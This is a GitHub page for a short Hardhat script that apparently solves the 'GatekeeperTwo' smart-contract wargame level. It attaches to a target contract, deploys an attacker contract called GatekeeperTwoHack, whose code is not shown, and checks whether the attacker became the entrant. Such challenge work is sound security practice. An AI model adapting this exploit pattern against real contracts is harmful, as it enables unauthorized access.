-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy path14-gatekeeperTwo.js
More file actions
24 lines (20 loc) · 910 Bytes
/
Copy path14-gatekeeperTwo.js
File metadata and controls
24 lines (20 loc) · 910 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
const hre = require("hardhat");
async function main() {
const [stealer] = await hre.ethers.getSigners();
const gateKeeperInstanceAddr = "0xF6ae5F0361902D03b85f1168aDB9fDEfD99eB056";
const GatekeeperTwo = await hre.ethers.getContractFactory("GatekeeperTwo");
const gateKeeperInstance = await GatekeeperTwo.attach(gateKeeperInstanceAddr);
const GateKeeperHack = await hre.ethers.getContractFactory("GatekeeperTwoHack");
const gateKeeperHack = await GateKeeperHack.deploy(gateKeeperInstance.address);
await gateKeeperHack.deployed();
const entrant = await gateKeeperInstance.entrant();
console.log("Successfully entered:", entrant.toString() === stealer.address.toString());
}
// We recommend this pattern to be able to use async/await everywhere
// and properly handle errors.
main()
.then(() => process.exit(0))
.catch((error) => {
console.error(error);
process.exit(1);
});